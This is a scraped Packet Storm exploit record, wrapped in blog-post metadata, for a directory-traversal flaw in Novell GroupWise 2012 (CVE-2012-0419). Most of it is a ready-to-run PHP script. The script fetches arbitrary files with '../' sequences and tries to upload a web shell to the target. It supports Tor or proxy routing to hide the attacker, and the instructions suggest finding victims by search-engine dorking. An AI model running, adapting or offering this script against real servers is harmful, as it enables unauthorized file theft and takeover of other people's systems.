{“lastseen”:”2026-02-09T16:15:15″,”description”:”This code exploits the directory traversal vulnerability in Novell GroupWise 2012 before Support Pack 1 to steal files, and attempts to upload a web shell payload if possible, making it an effective penetration testing tool…”,”published”:”2026-02-09T00:00:00″,”modified”:”2026-02-09T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Novell GroupWise 2012 Traversal \/ Shell Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:215175″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2012-0419″],”sourceData”:”=============================================================================================================================================\\n | # Title : Novell GroupWise 2012 before Support Pack 1 PHP Code Injection Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 135.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.novell.com\/ |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description: This code exploits the Directory Traversal vulnerability in Novell GroupWise to steal files, and attempts to upload a Web Shell payload if possible, making it an effective penetration testing tool.\\n \\t\\n \\t( https:\/\/packetstorm.news\/files\/id\/181042\/\\tCVE-2012-0419 )\\n \\t\\n [+] save code as poc.php.\\n \\n [+] Set Target : line 124\\n \\n [+] USage : php poc.php \\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n \\n class NovellGroupwiseExploit {\\n private $target;\\n private $port;\\n private $filePath;\\n private $depth;\\n private $proxy;\\n private $useTor;\\n private $osList = [‘Windows’, ‘Linux’, ‘MacOS’];\\n \\n public function __construct($target, $port = 7181, $filePath = ‘\/windows\/win.ini’, $depth = 10, $proxy = null, $useTor = false) {\\n $this-\\u003etarget = $target;\\n $this-\\u003eport = $port;\\n $this-\\u003efilePath = $filePath;\\n $this-\\u003edepth = $depth;\\n $this-\\u003eproxy = $proxy;\\n $this-\\u003euseTor = $useTor;\\n }\\n \\n private function sendRequest($url, $postData = null) {\\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $url);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n \\n if ($this-\\u003eproxy) {\\n curl_setopt($ch, CURLOPT_PROXY, $this-\\u003eproxy);\\n }\\n \\n if ($this-\\u003euseTor) {\\n curl_setopt($ch, CURLOPT_PROXY, ‘127.0.0.1:9050’);\\n curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);\\n }\\n \\n if ($postData) {\\n curl_setopt($ch, CURLOPT_POST, true);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);\\n }\\n \\n $response = curl_exec($ch);\\n curl_close($ch);\\n return $response;\\n }\\n \\n private function isGroupwise() {\\n $url = \\”http:\/\/{$this-\\u003etarget}:{$this-\\u003eport}\/\\”;\\n $response = $this-\\u003esendRequest($url);\\n return strpos($response, ‘GroupWise’) !== false;\\n }\\n \\n public function exploit() {\\n if (!$this-\\u003eisGroupwise()) {\\n echo \\”[!] {$this-\\u003etarget}:{$this-\\u003eport} – Not a GroupWise Agent HTTP Interface\\\\n\\”;\\n return;\\n }\\n \\n foreach ($this-\\u003eosList as $os) {\\n echo \\”[*] Checking for OS: $os\\\\n\\”;\\n }\\n \\n $traversal = str_repeat(\\”..\/\\”, $this-\\u003edepth) . ltrim($this-\\u003efilePath, ‘\/’);\\n $url = \\”http:\/\/{$this-\\u003etarget}:{$this-\\u003eport}\/help\/\\” . $traversal;\\n \\n echo \\”[*] Sending request to $url …\\\\n\\”;\\n $response = $this-\\u003esendRequest($url);\\n \\n if ($response) {\\n $fileName = basename($this-\\u003efilePath);\\n file_put_contents($fileName, $response);\\n echo \\”[+] File saved: $fileName\\\\n\\”;\\n } else {\\n echo \\”[!] Failed to retrieve file\\\\n\\”;\\n }\\n }\\n \\n public function uploadPayload($payloadPath) {\\n $uploadUrl = \\”http:\/\/{$this-\\u003etarget}:{$this-\\u003eport}\/upload\\”;\\n echo \\”[*] Attempting to upload payload to $uploadUrl …\\\\n\\”;\\n \\n $payload = file_get_contents($payloadPath);\\n if (!$payload) {\\n echo \\”[!] Failed to read payload file\\\\n\\”;\\n return;\\n }\\n \\n $boundary = \\”—-WebKitFormBoundary\\” . md5(time());\\n $data = \\”–$boundary\\\\r\\\\n\\”;\\n $data .= \\”Content-Disposition: form-data; name=\\\\\\”file\\\\\\”; filename=\\\\\\”\\” . basename($payloadPath) . \\”\\\\\\”\\\\r\\\\n\\”;\\n $data .= \\”Content-Type: application\/octet-stream\\\\r\\\\n\\\\r\\\\n\\”;\\n $data .= $payload . \\”\\\\r\\\\n\\”;\\n $data .= \\”–$boundary–\\\\r\\\\n\\”;\\n \\n $headers = [\\n \\”Content-Type: multipart\/form-data; boundary=$boundary\\”\\n ];\\n \\n $ch = curl_init();\\n curl_setopt($ch, CURLOPT_URL, $uploadUrl);\\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\\n curl_setopt($ch, CURLOPT_POST, true);\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\\n curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);\\n \\n if ($this-\\u003eproxy) {\\n curl_setopt($ch, CURLOPT_PROXY, $this-\\u003eproxy);\\n }\\n \\n if ($this-\\u003euseTor) {\\n curl_setopt($ch, CURLOPT_PROXY, ‘127.0.0.1:9050’);\\n curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);\\n }\\n \\n $result = curl_exec($ch);\\n curl_close($ch);\\n \\n if ($result) {\\n echo \\”[+] Payload uploaded successfully!\\\\n\\”;\\n } else {\\n echo \\”[!] Failed to upload payload\\\\n\\”;\\n }\\n }\\n }\\n \\n $target = ‘192.168.1.100’; \/\/ \u0642\u0645 \u0628\u062a\u063a\u064a\u064a\u0631 \u0627\u0644\u0647\u062f\u0641\\n $exploit = new NovellGroupwiseExploit($target, 7181, ‘\/windows\/win.ini’, 10, ‘http:\/\/127.0.0.1:8080’, false);\\n $exploit-\\u003eexploit();\\n \\n \/\/ \u062a\u062c\u0631\u0628\u0629 \u0631\u0641\u0639 \u062d\u0645\u0648\u0644\u0629\\n $payloadPath = ‘shell.php’; \/\/ \u0642\u0645 \u0628\u062a\u063a\u064a\u064a\u0631 \u0627\u0633\u0645 \u0627\u0644\u062d\u0645\u0648\u0644\u0629\\n $exploit-\\u003euploadPayload($payloadPath);\\n \\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215175″,”cvss”:{“score”:5,”severity”:”MEDIUM”,”vector”:”AV:N\/AC:L\/Au:N\/C:P\/I:N\/A:N”,”version”:”2.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215175\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-09T16:15:15″,”description”:”This code exploits the directory traversal vulnerability in Novell GroupWise 2012 before Support Pack 1 to steal files, and attempts to upload a web shell…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,128,12,21,13,53,7,11,5],"class_list":["post-39813","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-50","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n